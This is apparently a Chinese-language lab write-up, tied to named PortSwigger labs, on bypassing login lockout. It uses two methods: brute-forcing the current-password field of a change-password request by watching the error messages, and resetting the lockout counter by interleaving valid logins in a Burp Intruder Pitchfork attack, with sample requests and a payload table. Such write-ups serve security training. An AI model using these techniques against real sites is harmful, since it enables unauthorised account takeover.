鎖定帳戶可以提供一定程度的保護,防止對特定帳戶進行有針對性的暴力破解,但還是有機會繞過鎖定機制,常見的幾個案例如下:
- 改密碼的功能沒有限制原密碼錯誤次數
- 鎖定機制邏輯缺陷
改密碼的功能沒有限制原密碼錯誤次數
在改密碼的功能中,原密碼沒有錯誤次數限制,因此可以不斷嘗試,舉例如下
某一系統更改密碼的請求如下
POST /my-account/change-password HTTP/1.1
...omit...
csrf=4hQDcFWEP3uFXO1TeqerBuKczGn4eYhw&username=wiener¤t-password=peter&new-password-1=1&new-password-2=2
根據測試發現以下現象
- current-password正確,但2個new-password結果不符合,返回
New passwords do not match
- current-password不正確,但2個new-password結果不符合,返回
Current password is incorrect
- current-password不正確的次數沒有限制
在更改密碼請求的部份,對current-password參數使用爆力密碼破解,並將username改為victim,如下所示
atatck request( try different password)
POST /my-account/change-password HTTP/1.1
...omit...
csrf=4hQDcFWEP3uFXO1TeqerBuKczGn4eYhw&username=victim¤t-password=$changepasswdhere$&new-password-1=1&new-password-2=2
response
if response New passwords do not match, that mean found current pw
在爆破過程中,一但發現返回內容為New passwords do not match,代表current-password正確,成功猜到原始密碼
Lab: Password brute-force via password change
鎖定機制邏輯缺陷
舉例來說,目標網站只要密碼錯誤3次以上就鎖定的安全機制,但該網站經過分析後發現一個特性,一旦有出現密碼輸入正確的情況,之前的錯誤累積就會歸0,因此可以利用這個特點繞過安全機制,發動爆力密碼破解
實際操作可以將登入請求放入Intruder,Positions設定以下,攻擊類型為Pitchfork
POST /login HTTP/1.1
...omit...
username=§payload1§&password=§payload2§
2個payload type選擇simple list,內容參考如下
payload1 | payload2 |
有效帳號 | 正確密碼 |
目標受害帳號 | 測試密碼1 |
目標受害帳號 | 測試密碼2 |
有效帳號 | 正確密碼 |
目標受害帳號 | 測試密碼3 |
目標受害帳號 | 測試密碼4 |
有效帳號 | 有效帳號 |
目標受害帳號 | 測試密碼5 |
目標受害帳號 | 測試密碼6 |
Lab: Broken brute-force protection, IP block